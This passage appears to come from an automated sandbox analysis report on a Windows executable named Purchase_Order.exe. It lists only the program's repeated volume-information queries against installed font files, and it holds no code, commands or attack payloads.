Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
